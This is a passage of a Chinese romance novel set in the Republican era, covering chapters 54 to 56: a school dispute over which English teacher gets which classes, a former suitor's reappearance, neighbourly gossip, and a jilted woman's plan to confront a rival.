本意并不想和他吵架的,也被他驳得很不痛快,说:“你哪只耳朵听到我在质疑你?只是班级是你先挑的,你把三个先进班挑走了, 现在又嫌人家进步空间小,不够显示你的才干,这有点不厚道吧?” 心想:难听的话我还没说哩,等我再去敦促敦促白老师,让她的后进班给这姓缪的先进班来个“倒挂”,那才叫好看! 缪昌平当然也知道自己挑班级的事做得不地道,一时间锯嘴葫芦似的没有话说,这便给了秦校长插话的空隙。她是很干脆的为人,最不耐烦听别人扯皮吵架,只觉得苍蝇似的绕在耳朵边嗡嗡乱叫,听着头疼。 当下拿自来水笔的笔头“笃笃”敲了两下桌面,拧着眉头道:“行了,没人质疑谁教得不好,只是人家确实教得好的,我们也要承认。” 校长的话,本来也最有分量,又秦女士身上自有一种不怒自威的气势,讲话公道,并没有明褒暗贬的意味,这就更给她增加了一重威信。连缪昌平这样小肚鸡肠的人,也没处可以抬杠。 秦女士见四下里的硝烟熄灭了,这才重新放缓了神态,道:“考试的事先放一边,我还有一件事要通知大家。孙老师因为孩子要做一个小手术的缘故,请了三个月的长假,正好教育部新派下一位教务秘书,本人的数学很不坏,可以兼任她的职务,人应当已经到了,我这就把他叫进来吧。” 原本因缪老师与吴老师之间剑拔弩张的气氛,白瑾璎正提心吊胆地闭着一口气呢,这下总算可以松缓一下。不料刚透了口气的工夫,便看见秦校长领了一位年轻的先生进来,再见到那一张脸,又翻搅起许多回忆。 白瑾璎对程佩生的印象其实并不深切,只是和父亲曾经谈及过的男同学,除了他,再没有别人了。于是看见他,便想起父亲,那颗心又是沉甸甸的了。 在程佩生一边,却是一眼就认出了白瑾璎,穿一身烟青色旗袍,领口的纽扣是掐了银丝的蝴蝶扣,将人衬得素静的同时又不失精巧。她和从前几乎没什么变化,大概因为家中变故的原因,反倒多添了一分沉着忧郁的情态,但凡眉头轻轻一拧,便要显得楚楚可怜了。 他原本就是求爱失败的一方,早前父亲又遭革职,虽说现在也在一家公司任财务经理,但到底比不上当官的时候了。本来对白瑾璎已不抱希望,可想一想白总长同样是意外身故,偏偏那么巧,他二人又在任教的中学里重逢了,出于同病相怜之感,竟又生出一点微薄的希望来。 程佩生倒没有什么大动作,只在秦校长介绍他的时候,不露声色地望着白瑾璎微笑,料想会议结束之后,她总要来找自己寒暄叙旧的。 不料散会之后,白瑾璎只冲他点了点头以示问候,便追上另一个老师说话去了。 白瑾璎急着要找吴老师道一声谢,在她看来,吴老师之所以会调侃缪昌平那一句,无非想为自己出个头罢了,是以刚才气氛紧张时,她心里是又怕又过意不去。 追上去道:“吴老师,我知道您一向很帮着我说话,多谢你。只是为了我和别人闹矛盾,那实在是犯不上。” 吴老师仍是气咻咻的样子,显然是余怒未消,却对她摆手道:“你看,你总爱把责任往自己身上揽,我是早看那姓缪的不顺眼了,并不单单为了帮你。”重重哼了一声,“一个大男人,气量那样小!” 吴老师骂过一句,出了气也就算了,想不到这件事还远不到翻篇的时候。 究其原因,大概这世上多数的父母都不能免俗,但凡考试了,就爱打听别家孩子的分数;设若自家孩子考得好了,又忍不住要炫耀嘚瑟两句。一来二去,先进班的洋文成绩险些被后进班赶超的事,也就暴露了。 先进班的家长当然大为不满:我一个好孩子送去学校,怎么反倒没有长进?要知道读书这东西,是不进则退呀!你要说第三中学没有好的老师吗?那怎么后进班的学生们个个都跟开了窍似的呢?那就是学校故意要把差的老师分给先进班了,这凭什么?不是要把我好好一个孩子荒废掉么! 另一边,后进班的家长也是绷紧了一根弦:话不能这样说,我这孩子底子虽差一些,并不是不可救药呀!你瞧,这不是能考得好么?怎么后进班的孩子就不配有好的老师来教吗?横竖这一位老师是开学就分派好的,落子无悔,可不兴中途调换的! 于是短短两天,已有十来位家长来过教务处了,诉苦的有之,感谢的亦有之,话里话外无非想要霸占住白瑾璎这个好老师罢了。 程佩生刚一调任就遇上这样一桩纠纷,他倒也不急不躁,了解过各方的诉求后,约了两位洋文老师并秦校长一起来商量解决的对策。 白瑾璎起初还不知道是怎么一回事呢,心想:我教书的成果不坏,总不能是约谈来批评我的吧?这一天便和往常一样坐了公车来上班,还没走进校门,就被从旁横穿出来的一位太太亲热地挽住了手臂。 家长们听说了学校要商议一个结果,个个翘首以盼。其中不乏对孩子的教育格外上心的,一早便蹲守在学校门口,想要抢一个先机,拉住那位白老师好好谈一谈,以动摇她的决定。 这位太太就是在此之列了。 她首先就对白瑾璎露出一个笑容,道:“这就是白老师了吧?我们家孩子虽没有上过您的课,对您却是很推崇的,您有这样好的学识,不去教最好的班级,多么可惜!一班的孩子悟性很高,花一样的心思,那成果可是事半功倍呀!” 白瑾璎正是听得云里雾里的时候,另一条胳膊一紧,却是被另一位太太拉了过去,也不知她是从哪里冒出来的。 那太太也是满脸堆笑,眼风却刀子似的剜了先前的太太一眼:“既然是一班的孩子,找我们白老师做什么?”扭头对白瑾璎道,“白老师,久仰呢,孩子的功课提高那么多,都是您教得好哩!我们这些当父母的,别提心里多么感激您!” 白瑾璎认出她是五班一位女学生的妈妈,在家长开放日时还浅谈过两句,便对她微笑一下。 她不过下意识的举动,对前一位太太而言,却是白老师要倒向对面的危险信号呀!当下便攥紧了手里的胳膊,拔萝卜似的将人一把拉过。她心里急切,手上难免控制不住力道,刚一拽,就听见白瑾璎吃痛的抽气声。 那太太心里一跳,眼睛飞快偷瞄一眼,只见白瑾璎的小臂上被自己箍出好一道红印,半遮半掩在宽松的袖口下。 当下讪笑着松了力道,却还是将那胳膊圈着,怕她跑了似的,心虚道:“对不住,对不住。白老师这文文弱弱的,瞧着就是有知识的女子哩!” 白瑾璎已然有些惊慌了,趁她松手的间隙,忙不迭先将自己的两条胳膊抽回来,边退边说:“哪里,哪里。今天不能久谈,我正赶着去上课,不然该迟到了。”好不容易,才算从那虎口逃脱出来。 上午一节洋文课结束后,白瑾璎如约赶去校长办公室,想不到她来得太早,别说缪昌平没有来,连秦校长本人也不在办公室里。只有程佩生已经到了,一个人静坐着翻看资料。 白瑾璎敲了敲门以示提醒,想到自己从前婉拒过他,一时也有些拘谨,只向他笑了一笑。反倒程佩生是很平和的样子,请她进来稍坐,又讲了讲这一出家长闹“起义”的经过。 白瑾璎只听了一半,已经表现出很为难的样子,低声道:“原来是我给学校惹来这一场麻烦。” 程佩生含了微笑望着她说:“怎么是你的错?好的珍珠拿到市面上,人人打破了头抢着要买,这难道是珍珠的错吗?”说话的同时,那一双眼睛,只管目光灼灼地盯着她看。 白瑾璎冷不丁和他对视了一眼,吓了一跳似的,猛地躲避开他的视线。好在此时门外响起脚步声,是秦校长与缪昌平来了。 第54章 第 54 章 你心里要是不好受,尽可…… 校长办公室里, 程佩生已将近来频发的家长投诉事件汇报完毕,阖上了手里的记事簿,道:“实在造访的家长太多, 设若学校不给一个妥善的办法, 这就不好收场。那么是要换班级呢, 还是有什么别的法子呢, 我想不如就趁今天, 和秦校长并两位当事的老师一起商议一个对策。” 在场几人之中,就数缪昌平最难堪了。归根到底,要不是他教得太没有起色,也不至于引发先进班家长之不满, 更不至于惊动秦校长并白瑾璎几个人, 要专程来开个小会议替他收拾这么个烂摊子。 是以他的脸上青灰一片, 还透着屈辱的臊红,比此前开年级大会时不知难看多少倍。憋了半晌, 才忍屈求全似的咬了牙道:“那还是按照从前的分法, 我带一三五, 白老师二四六, 那些投诉的家长,总可以满意了吧?” 程佩生冲他微笑一下, 口气很温和, 讲的话却很不客气:“人家为什么满意?至少一班三班的家长不会满意, 五班的家长, 更要冲到学校里来理论了。” 同时,白瑾璎在听了缪昌平的话后也是皱了皱眉,大着胆子发声道:“我也觉得不好。这样一来,不说对五班的学生不大公平, 缪老师上课的进度节奏,肯定也和我不大一样,贸然调换班级,势必要花费时间重新适应磨合,这些时间,不就白白损失掉了吗?” 她的本意,是想强调对于要升学的班级而言,时间是很紧迫的,最忌讳朝令夕改。偏偏听在缪昌平的耳朵里,就成了白瑾璎瞧不上他带过的班级,觉得要花大工夫重新“补课”哩! 缪昌平越看白瑾璎一副细声细气弱质女流的样子,心里越是火大,年纪比自己还小,偏偏自己还要居于下位,更觉得屈辱,忍不住阴阳怪气道:“可不是?白老师的水平多么高,你的进度节奏,我是拍马也追不上的。” 白瑾璎被他刺了一句,心里固然生气,一时也不敢硬碰硬地起冲突。 反倒是程佩生笑了一声,淡淡道:“我听明白你的意思了,干脆把白老师调去水平更高的学校,再来个资质平平的,这就什么事都不会有了,是不是?” 缪昌平心想,可不就应当是这样吗!可他哪里敢真的说出口?没看见秦校长的脸色已狠狠地往下沉了么?好不容易来了一个人才,眼看要将三中的洋文短板给补上了,自己却说最好把她送走,这是上赶着找秦校长的不痛快呀! 直到这时候,缪昌平才后知后觉地反应过来:自己与白瑾璎,绝不能是势不两立的关系!设若只保一个人,难道秦校长会保自己吗?自己先前,实在把白老师得罪的太过了。 于是悬崖勒马,硬是对白瑾璎挤出三分笑脸,赔礼道:“白老师见谅,我是急昏头了,绝没有怪你的意思。我如今还要仰仗白老师的配合,一道解决眼前的难关呢。” 人也乖巧起来,不再轻易开口,只静等着秦校长的发落一般。 程佩生转而请示道:“校长,您怎么说呢?” 秦校长思忖的时候,手里的自来水笔在纸页上一下下地敲着,开口道:“如果要求公平,那就按照这一次的成绩,将六个班级重新再分一遍。分数是学生自己考的,再公平不过。” 才刚说完,又自己将它否决了,“只是这又是大动干戈,到时候不光洋文课,兴许连国文算术的老师,都要有变动。白老师的话我很同意,不能将时间浪费在老师的调换磨合上,眼看几个月后就是正式的考学,太不值当了。” 程佩生也附和一句:“正是如此,况且班级一旦变动,身边的同学势必也是焕然一新,本来玩得好的朋友分开了,心里一定很失落的。临近考学的学生,不光其课业,心情上的影响一样不可小觑。” 秦校长点了点头,脸上的神情总算柔和一点,说:“既然班级不能变动,还能怎么办呢?我想,家长们看的无非是成绩罢了,那就只能向他们做一个成绩上的保证。” 威严的目光径直落到缪昌平身上,“总说学无止境,学生们有进步的空间,老师的教学就没有精进的余地吗?缪老师,你既已被家长们架在这儿了,不如就立一个‘军令状。考虑到先进班的孩子本身分数不低,那就以五分为界,保证最终考学时,先进班的洋文分数提升在五分之上,这期间,就以日常的随堂小测为监督的指标,你能不能做到?” 缪昌平听到这里,背上早已出了一身冷汗。自己的斤两自己知道,他这小半壶墨水晃荡,真不敢做这一个保证呀! 是以面色涨红着,一下推脱时间紧迫,一下又扯皮成绩高低受许多因素影响云云,总之就是给不出一句准话。 这是什么意思,秦校长也看出来了,冷着脸沉沉地叹一口气后,让缪昌平与白瑾璎分别拿出各自备课的教案来。比对着一看,自然是高下立现。秦校长思忖再三,最终还是拍板道:“这样,往后白老师做的教案,我都让她给你一份,这一份军令状,你总可以立了吧?” 这作法,就好比做不出题时,有人把写完的答卷白白递到你手里——如此天上掉馅饼的美事,缪昌平还能有不愿意的吗? 他心里已然激动起来,心道,有了白瑾璎的教案做基础,自己再添几笔加以完善,又先进班的学生悟性高,天时地利尽归自己,还怕教学成绩不如她吗?当下看秦校长都百般顺眼起来,向白瑾璎拱手道:“白老师,却之不恭,却之不恭啦!” 纵使他极力地按捺,窃喜的精光也从眼角显露无疑。 秦校长真不愿见到他,只管将两位男老师请走后,对白瑾璎道:“学校如今正是短缺洋文老师,缪昌平再没用,把他逼走了,余下三个班级没有人教,事情就不好收场。缪昌平要按住,家长要安抚,学生也要顾及,是以现在这个办法,谁也不受委屈,光光委屈了你一个人。” 可是事情要解决,实在也没有其他办法。 秦校长料想白瑾璎心里一定不好受,拍了拍她的肩膀道:“不过,不拘先进班提高多少分,这一份功劳,我都记在你的头上,期末的评优评级,一律都以你为优先,这我可以向你保证。此外,你的薪资从下个月起也多加五十块,这是我个人可以决定的范畴,就不必告诉其他老师知道了。” 明知道缪昌平是个小人,还要把自己的劳动成果无偿分享给他,白瑾璎心里当然不大舒服。 不过仔细想一想,自己在第三中学任教师,本来也不是长久的计划,何必要和缪昌平僵持不下?要是能换来太太平平相安无事的工作氛围,让他一下,也就让了。况且秦校长是很偏向她的姿态,总算也是一份慰藉。 秦校长微笑一下,又说:“我记得你今天下午没有课,那就早点回去休息吧。考试那一阵子,你是很辛苦的。” 于是白瑾璎也就回了一个微笑,算是将这一份补偿与安抚,接受了。 推门往外走时,倒看见校长办公室前的廊柱后藏了许多学生,一见她出来,纷纷做鸟兽散地跑远了。这其中就有徐克行,他倒没有跑,只是很腼腆地留在原地,想找她说话似的。 原来在四人举办秘密谈话的同时,孙立学便在班级里放出消息,信誓旦旦地说白老师受了提拔,要丢开他们这些吊车尾的后进班,转而去教先进班了。说话的时候,不忘以挑衅的眼神看向徐克行。 自从徐百富开罪蒋牧城之后,孙老板自然再也不愿和他沾边。他眼看巴结孙老板无望,又发现白瑾璎真是挺看重自己这孩子的,徐百富看惯了风向,随即又将希望投注到徐克行的身上,以期从白瑾璎入手,软化蒋牧城的铁腕。 是以,他近来很顺着徐克行的心意,他爱读书,那便读书!横竖孙老板是攀附不上了,也无需讨好那个小的,他不愿意和孙立学顽在一起,那就不顽!自己的孩子在功课上甩开姓孙的一大截,他还觉得扬眉吐气哩! 徐克行舒服了,孙立学却心气不顺。 他是个成天逃课的主,其实不拘哪个老师来教,姓白的姓缪的都讨厌,可徐克行喜欢那个姓白的,他便希望姓白的调走,好叫徐克行不痛快。 徐克行脸上不显,心里却紧张得很,于是跟了一群好打听的学生猫在校长办公室外,看能不能听出什么端倪。 起先看到缪老师一脸喜色地出来,猜测着:由先进班换到后进班,总不至于高兴成这样,那大约是不调换吧?可还是不确定,一颗心七上八下的,仍旧等着。直到把白瑾璎等出来了,听到她亲口说了“不换”,这才把悬着的心,安稳地放回到肚子里。 一路意气风发地冲回教室,站在讲台上扬着手宣布道:“白老师不调走!她在先进班与后进班里,选了咱们后进班呢!白老师舍不得撇下咱们,咱们也不能丢她的脸,叫她失望吧?” 这一番宣言大大地鼓舞了士气,竟真让一个后进班迎头猛进起来,当然这是后话,暂且不表。 另一边,白瑾璎收拾了东西预备回家,刚走出教学楼,便在楼下遇见了程佩生。后者像是专程等着她,一见面,便很富有同情意味地说:“这一件事,你很受委屈。我再怎样帮你说话,校长一拍板,我也是无能为力了。” 白瑾璎向他道了声谢,一路往前走,程佩生竟也一路跟了过来。 “唉,你我如今的境遇,有太多力所不能及了。”他意有所指,总想唤起一点旧情,又说,“你心里要是不好受,尽可以找我谈一谈,一年多不见,我原也有许多话要和你说。” 白瑾璎为避嫌的缘故,很不想和他谈,是以一路敷衍着,眼看离校门很近了,心想,这下总可以互相道别了吧?不想程佩生的絮叨竟戛然而止了。 白瑾璎狐疑地看他一眼,见他不仅闭口不言,连神色也略显得僵硬,视线定定地落在校门外的一处——蒋牧城锃亮的黑色洋车正停在那里,他人倚在车尾处,此刻已抬起了头,向这边看来了。 第55章 第 55 章 她没有空,不和自己出去…… 在见到蒋牧城的一刻, 程佩生的神色明显地黯淡下来,只是白瑾璎的注意力全然被蒋牧城吸引走了,没有留心到罢了。 再看蒋牧城, 同样也是皱了皱眉头, 随后竟向白瑾璎半伸出手道:“快上车吧, 说好了来接你的。” 白瑾璎并不记得他有说过这一回事, 但因为蒋牧城时不时会来接她一下, 也就懵懵懂懂地走过去,扭头对程佩生道:“程老师,快回去吧。这件事既然已谈好了对策,那就不必再去提, 你的好意, 我也心领了。” 这一次, 程佩生倒没有过多纠缠,只神色复杂地看了蒋牧城一眼, 又勉力对白瑾璎笑了一笑, 走开了。 外人走了, 白瑾璎便很自觉地坐上洋车的副手座, 问道:“你说过要来接我吗?什么时候的事?前一阵子太忙,我都不记得了。”心想, 应当不是我提出来的吧?我并没有什么要请蒋二哥帮忙的事呀! 蒋牧城也弯腰进了驾驶座, 草草带过道:“我们没有说好吗?大概我也太忙, 一时记模糊了。”说话间, 已经将车发动起来,又状似不经意地问,“我看程佩生和你走在一起,怎么, 他也在这里教书吗?” 白瑾璎惊愕地扭过头看他:“你竟然认识程先生哩!”但她马上记起来,“哦,对,对,你们仿佛是见过一次。我念书的时候参加过一次庆功的聚会,你还帮我们会过账呢。你记性真好,统共就这一次,你竟记得这样清楚。” 蒋牧城提了下嘴角,淡声道:“我知道他,大多还是因为他父亲。他父亲从前在总理府任财务秘书,只是手上的账太不清楚,被人细查追究后查了出来,便只有革职一途了。他的儿子会去做教师,我倒是没有想到。” 这一番解释引起了白瑾璎的惊呼,“他父亲真被革职了吗?我想起来了,从前爸爸就提起过,他父亲之所以能坐上高位,就是仰仗了背后有靠山,只是这靠山能仰仗多久,那是说不定的。唉,政治场上风云变幻,这不是空话。” 又说,“蒋二哥,你不知道吧,那一天我参加完学生聚会刚回去,爸爸就问起我程佩生的事了,还说他有自己的耳报神,所以信息才这样灵通。” 提到白齐盛,她下意识就有许多话要说,笑容将将浮现在脸上,又想到白齐盛已然是不在了,整个人又消沉低落起来,话也就停在了这里。 蒋牧城这一位“耳报神”,因为无意间被揭开了底细,多少有一点心虚,竟也少见地没有出言宽慰,只是两手控着方向盘,默默地直视着前方。 白瑾璎偷觑他一眼,似乎是感受到他身上带着一点窘迫,便率先打破沉默的气氛,道:“我还没有问,你今天找我是为了——”余光瞥见窗外的街景,当下“咦”了一声,“我们要去哪里?这并不是会椿樟街的路呀?” 蒋牧城这才后知后觉道:“是我忘了说,本来今天来接你,就是想请你帮一个忙,给我家里的侄子选一份生日礼物。现在是十一点钟,我先带你去吃饭,然后再去转一转百货店吧,好在时间是很富余的。” 见白瑾璎面露难色,首先就想,她不要是约好了别人吧?也许是今天骤然见到了程佩生的缘故,心里很不是滋味,但又想到方才已经和程佩生道了别了,那一种威胁感才算淡去,问道:“有什么不便吗?” 白瑾璎很不愿意回绝他,只是事情急迫,只能实话实说道:“我最近恐怕很难有空了。从前没想到在中学教一教洋文,这样的花费精力,我手上那本译作,现在落下了好大一段进度,译文的用词与梳理上也不大顺利,正是赶进度的时候。” 她低着头,很惭愧地将手指缠在一起,“而且我也和虞妈说好了,晚饭回家里吃。” 这话听在蒋牧城耳朵里,反倒放下心来:她没有空,不和自己出去,总归也不会和别人出去的。于是微笑着,绕了一段路,重新将车停到了椿樟街36号的大门前。 白瑾璎很过意不去,车门都打开了,还不忘回头说:“害你今天白跑一趟,等这一段进度赶上了,我请你吃饭吧?我的薪水上涨了呢,可见我教书的本领,也不坏吧?” 送走了蒋牧城的车往回走时,听见住在隔壁的记者同她打了声招呼:“白小姐回来了?” 对于余佰此人,因他平时总是笑脸相迎的和气样子,白瑾璎除了觉得他嘴碎些,对他的印象倒并不坏,于是也微笑着向他点了一点头。 余佰本来站在院子里的,见四处没有别人,神情闪烁着走过来问道:“白小姐,我看见刚才有位先生送你回来哩,恕我冒昧问一句,那是你交的男友不是呢?” 白瑾璎心里一跳,脸颊先就烧了起来。刚想让他不要胡乱说话,想不到对方见她如此神色,认定自己猜中了似的,“哎哟、哎哟”连叫了两声,表情十足十的同情惋惜。 透露秘密一般,压低了声音提醒她道:“白小姐,别看这人仪表堂堂,内里可不能相信呀!不是我诓骗你,我可是亲眼所见,他在交流会上和别个小姐出双入对,形影不离地贴身保护着人家,这还不算是男友的姿态吗?那他对你,就是欺骗了!” 白瑾璎怔怔道:“交流会?” 余佰便露出一点自得的样子,嘻嘻一笑道:“白小姐不知道吧?前一阵子外交部举办了一次交流会,并不对外开放的,不过会邀请一些记者做报道。鄙人区区不才,也在受邀之列,所以我说的话,你小姐绝对可以相信!至于那位小姐的样子,我虽然没有看清,不过穿戴得很时髦哩!” 白瑾璎这下可以确定,余佰所说的小姐不是别人,正是她自己呀! 余佰没有认出自己,却将她和蒋牧城视为爱侣,难道他们之间的举动真有那样亲密吗?这是唯独余佰一个人的推想,还是见过他们的人,都这样想呢? 一旦有了这个念头,脸上的热意非但没有下去,反倒有愈演愈烈的趋势。余佰只当她的脸红是出于愤怒,煽风点火般又强调了一遍:“所以呀,可不能上他的当!” 白瑾璎讷讷地敷衍几句,逃也似的跑走了。 反倒是余佰觉得不得劲,白小姐急匆匆地回去,料想是去给那先生挂绝交的电话了,我的告诫,到底从虎口里救了她。只是当事人没有很激动的言语上的表示,自己这告诫,就显得不大有价值。 回家随便用了点饭,正要出去跑一段新闻,迎头又撞见一个身影,于是那低落的心情,瞬间又振奋了起来。笑道:“哎哟,瑾琪小姐,今天下课这么早?” 余佰自诩八面玲珑,就连对这三位白小姐的称呼,都是各有讲究的。 譬如白瑾瑜显然受过西式的教育,人也很西化,是以他便喊她“密斯白”;相反白瑾璎是个文静的古典女子,那就以传统的叫法,称其为“白小姐”;最后白瑾琪年纪最小,性格也活泼爽快,喊一声“瑾琪小姐”,总不会招她的讨厌。 在这人际交往上,余佰是深谙其法哩! 白瑾琪果然也不讨厌,甚至心情颇好地回答他:“可不是,下午公共课的老师请了病假,早早就放学了。” 余佰盯着她打量了一阵,奉承道:“都说红气养人,自从你上过报纸后,眼见着精神气儿都更饱满了,拿现在拍电影的明星来说,也未必有你这样青春靓丽的美!” 偏偏这话正刺中了白瑾琪心里的痒处:今天下学的时候,一位明星经理人专程等在学校门口,给她递了一张名片哩!此刻,这名片正被她贴身收在口袋里,在她自己而言,当然十分意动,只是要不要和家里两个姐姐说,一时还拿不定主意。 据说拍杂志画报,是有酬劳可拿的,她现在最大的症结所在,不就是自己一穷二白,其实是靠了白瑾瑜的供养过生活吗?要是自己在拿了报酬之后冷不丁地宣布,恐怕连大姐姐都要震惊的吧? 这样畅想着,脸上已带上一点小小的得意骄矜,问余佰道:“你瞧我,真比时下的明星更好吗?兴许我以后,也能当个演电影的大明星呢!” 余佰当然捧场,道:“怎么不能?报纸上不都评价你是‘未来演艺界的人才么?”因身上正好带了纸笔,当下掏出来向白瑾琪一递,“来,大明星,请留一个签名,我以后也好做个纪念。” 白瑾琪心花怒放,接过自来水笔刷刷签下大名,写完才发现那笔迹不大好看,也不够有派头,要是自己当真能在演艺界大放光彩,首先得练个漂亮的签名才行。 左看右看,还是将那页纸撕下来揉成一团,心虚道:“现在留签名,我也太不谦虚了,等以后,以后一定给你签一个!”说罢甜笑一下,道个别回家去了。 余佰虽然感到一点可惜,但自己这一套嘴上功夫,显然在白瑾琪身上大获成功,自己也跟着神清气爽起来,哼了小调上班去了——世上爱侃天侃地的人,可不正需要一个嬉笑怒骂的好听众吗? 第56章 第 56 章 你真厉害,好的不学,净…… 自从那一吻后, 白瑾瑜与孟西洲便蜜里调油起来。所谓有一就有二,不出几天,接吻亲昵已如同家常便饭一般。 白瑾瑜也由此看出来, 孟西洲这个人实在有点人前人后两幅面孔, 但凡在大庭广众的场所, 总归是人模人样的沉着得体, 至多不过和她挽着手臂, 凑近一点说话罢了;可一到没有人的包厢里,怎样亲昵的事都要拉着她做。 这一点倒正合白瑾瑜的心意。 从前她和柳世新在一起时,对于他总想在人前亲密这件事就感到不满。也不知道男士们是出于什么心理,是想显摆这一位漂亮的小姐是自己的所有物呢, 还是单纯的没有控制自己行动的能力, 反倒显得小姐们都是任人摆弄的陪衬品。一点体面也不讲。 孟西洲就从不这样, 却喜欢在吻到情浓处时自荐资源,头一回是这样说的:“等和陈老板的一年约期满之后, 直接和我签合同怎么样?价钱上随你来开, 年限也由你说了算, 不是很方便吗?” 白瑾瑜正浅浅地追着他的嘴唇, 猛然听到工作相关的话题,人虽迷离着, 脑子却像接收到警报一般强制地开始冷静, 没有顺着气氛便答应下来, 而是闭紧了唇齿, 不轻易作表态。 孟西洲见这一招趁虚而入并不对她奏效,唯恐她事后又要给自己扣一顶“玩手段”的帽子,干脆不再提起,只把这断断续续的吻重新地接上。 反倒是白瑾瑜思索出一点门道来, 等他又试探着开过几次口后,故意说:“我不要,你这个样子,真像是哄骗我和你签卖身契。” 孟西洲气得不轻,也顾不上彼此正吻得难舍难分,当下唇齿紧闭地退到一边,做出一副凛然不可侵犯的样子,那意思是不受她这一句污蔑。 白瑾瑜看着他矜持的样子,心里先感到几分有趣,再看到孟西洲的唇边沾了一点她的口红,那就更有意思了,甚至扑哧笑了一声,从口袋里拿出一条手绢来要给他擦。 因为她那一声笑,孟西洲郁结更盛,本想再避开一下,可看到白瑾瑜笑吟吟地主动靠过来,到底坐在原处没有动。又见她伸手擦拭自己的嘴唇,也就明白了是怎么一回事,心里也不知是气自己还是气她,冷冷地道:“你真厉害,好的不学,净学些坏的。” 他的本意,是指白瑾瑜气他的事,后者却没有领会,吃惊了一瞬道:“分明是你来亲我的,原来这是坏的吗?好吧,孟先生,那么从现在起,咱们修身养性好了。” 见孟西洲当下拧起眉头,这才笑着说回正题:“好了,你以为我是提防你,不愿领受你的好意吗?我是不愿将公事与私事混作一谈。我问你,我的生意经营得好,是谁的本事?谁的功劳?” 孟西洲不大明白她为何有此一问,照实说道:“自然是你的本事,且你这本事,谁也拿不走。” 白瑾瑜对他这话很受用似的,微笑了一下说:“这本来就是事实,偏偏时下对于女子的评判太过严苛,尤其是生意场这样夺利的地方,好像我多占他一分利益,就有损他十分颜面,但凡有一点捕风捉影的消息,势必有好一通口诛笔伐等着我。” “说我的生意之所以蒸蒸日上,都是靠了和孟先生的恋爱关系,不光白用他的货轮,私下里,还不知给了我多少助力。进而再攻击我的人格,说我走的尽是歪门邪道,拿感情去交换利益。做生意的人不要名声的吗?还是你为了显示用情之深,要抢走我证明自己的功劳呢?”白瑾瑜伸出一根指头,在孟西洲的眉心轻点了一下。 孟西洲沉默了片刻,随后道:“也好,你和陈老板签合约,总归没人敢多说你一句闲话。”末了又追加道,“我也不急于这一时。” 那就是对她的做法,表示出全然的支持了。 又握住了白瑾瑜轻点他的手指,脸上总算露出一点笑意,说:“我知道你是很不耐烦解释的性格,今天和我说这么多,可见我在你心里的位置,已经不大一样了。”说话间,已将她的手指带到唇边吻了一下。 白瑾瑜的心跳莫名漏了一拍似的,心想,我当真待他格外不同吗?怎么个不同? 自己交往过的人,也就是柳世新和孟西洲了,于是下意识地和前者做比较,只是白瑾瑜一想起柳世新便觉得晦气,她不觉得自己偏心,自认用最公正的眼光去看,柳世新也绝没有和孟西洲相提并论的资格。她也是和孟西洲交往之后才体会到,在决断力与为人处世面前,再俊美的面孔都不顶用。 孟西洲懂分寸又尊重人,头脑聪明言之有物,凡事一句话就能够领会,比柳世新省心不知多少倍,我优待他一点,那简直再正常不过。 于是将他这句话默认下来,一道用过一顿愉快的午餐后离开了。 他二人虽说事务繁重,但好在不必特别受拘于办公室的苦,孟西洲愿在家里工作时,白瑾瑜带了文件账目过来陪伴一会儿,也是常有的事。只是却不知道这一回从孟公馆离开的时候,有一双眼睛,在时刻注意着她哩。 这又要说回到姚宝莲的身上,上次偷放相片的谋划当然没有得逞,可在姚宝莲的视角,便如同小石子丢进了大海,再没有音讯了,怎能不等着抓心挠肺? 要说孟先生对她有点意思,发现了这么一张精巧的相片,怎么也该会一会她问问缘由吧?可好几天过去了,连个带口信的人也没有。要说招了孟先生的讨厌,可教会学堂的学费还好好地缴着,并没有要惩戒她的意思。 不要是孟先生根本没穿那件外套吧? 这一边等得心焦,那一边黄老板又歪缠过来,说自己为了她正和家里的婆娘闹离婚,她这个“祸首”,总应当有所表示。姚宝莲是骑驴找马,也不舍得将这条已经上钩的鱼放跑了,只好身体力行地又敷衍了他两回,人却再也坐不住了。 三天里有一天,总要招了黄包车拉去孟公馆的围栏外,瞧瞧里头的动静。 有时候白站上一个多钟头,什么都没等到;有时候则是等到一辆气派的林肯牌洋车长驱直入地开进大门,也不知里头坐的是不是孟先生,她一个柔弱女子,到底不敢去拦汽车。 不过就有那么一回,真让她看见了不得了的一幕。 孟公馆气派的金铜色大门距离住人的洋楼,其实隔了不小的草坪花园,平时洋车开进开出,大多是直停在洋楼前接人的,哪个愿意多走一段路?不过这一天倒奇怪,那洋车只管开到大门外就停下。 姚宝莲起初以为是有人上门拜访,不够资格将车子开到公馆里去,可等了半天并不见有人下来,反倒是司机先下来透口气。叫人意外的是,门房竟是和他很相熟的样子,不光主动和人攀谈,还很客气地敬了根香烟。 不是送人过来,那就是要接人了,倒要看看是哪一位人物。 这一次只等了几分钟,就有人影靠近了。姚宝莲定睛仔细一看,心里更是吃惊了,竟是孟先生陪着一位小姐走了过来! 那小姐的长相看不清楚,只是她身姿袅娜,又烫了一头时髦的卷发,身上的洋装只在画报亭的外国杂志上看见过,远远一望便知道是个美人。孟先生亲自送了她出来,这还不算,临上车前,还俯过身同她接了一个吻。 这对姚宝莲而言,当然无异于当头一棒,可将自己同那小姐做一个对比,也知道希望渺茫,于是那心思又往另一个方向转变了。 孟先生这一位女伴,知不知道自己的存在呢?在爱情这件事上,小姐们的患得患失可不能小看,设若自己以一个“情敌”的身份出现,那小姐为了把自己打发走,势必要出一笔钱。自己能得一笔财富,也是好的。 即便不能,回去恐怕也要和孟先生大吵一架。给孟先生的爱情添一点堵,让他也尝一尝失败的滋味,姚宝莲也觉得痛快。 这大概是求而不得,转而因爱生恨了。 至此,蹲守孟西洲的计划便改成了蹲守白瑾瑜,这就要简单得多。孟先生为了和女友多相处一会儿,往往是让洋车等候在大门外,只要见着了那开车的,自己请托司机带一句话,这位小姐,总不至于不来。 于是一路里进行下去,终于在某一个星期四,叫她给等到了。 她对那开车的说自己姓姚,与孟先生很有些渊源,想和他家小姐单独说几句话。又煞有介事地叮嘱不能让孟先生知道,就是要私下里谈才合益,自己就在马路直行拐角的画报亭那里等着。 不出十多分钟,那洋车果真开了过来,路边一停车门一开,那时髦小姐便走下车来。 哪知还不等姚宝莲窃喜,那小姐向四处望了一圈,先开口道:“我没有在路边谈话的习惯,何况在马路牙子上,算什么‘私下?我看那里一爿咖啡店还不坏,有什么话,就去那里坐着谈吧。” 姚宝莲被她抢了头一句话,没来由地先减少了三分底气。再顺着白瑾瑜指示的方向看去,那一种西式装潢的店面,自己即便手头宽裕也从不敢迈进去的,这一露怯,原先的底气也就只剩下十之二三了。 第57章 第 57 章 这两个人凑在一起,真是…… 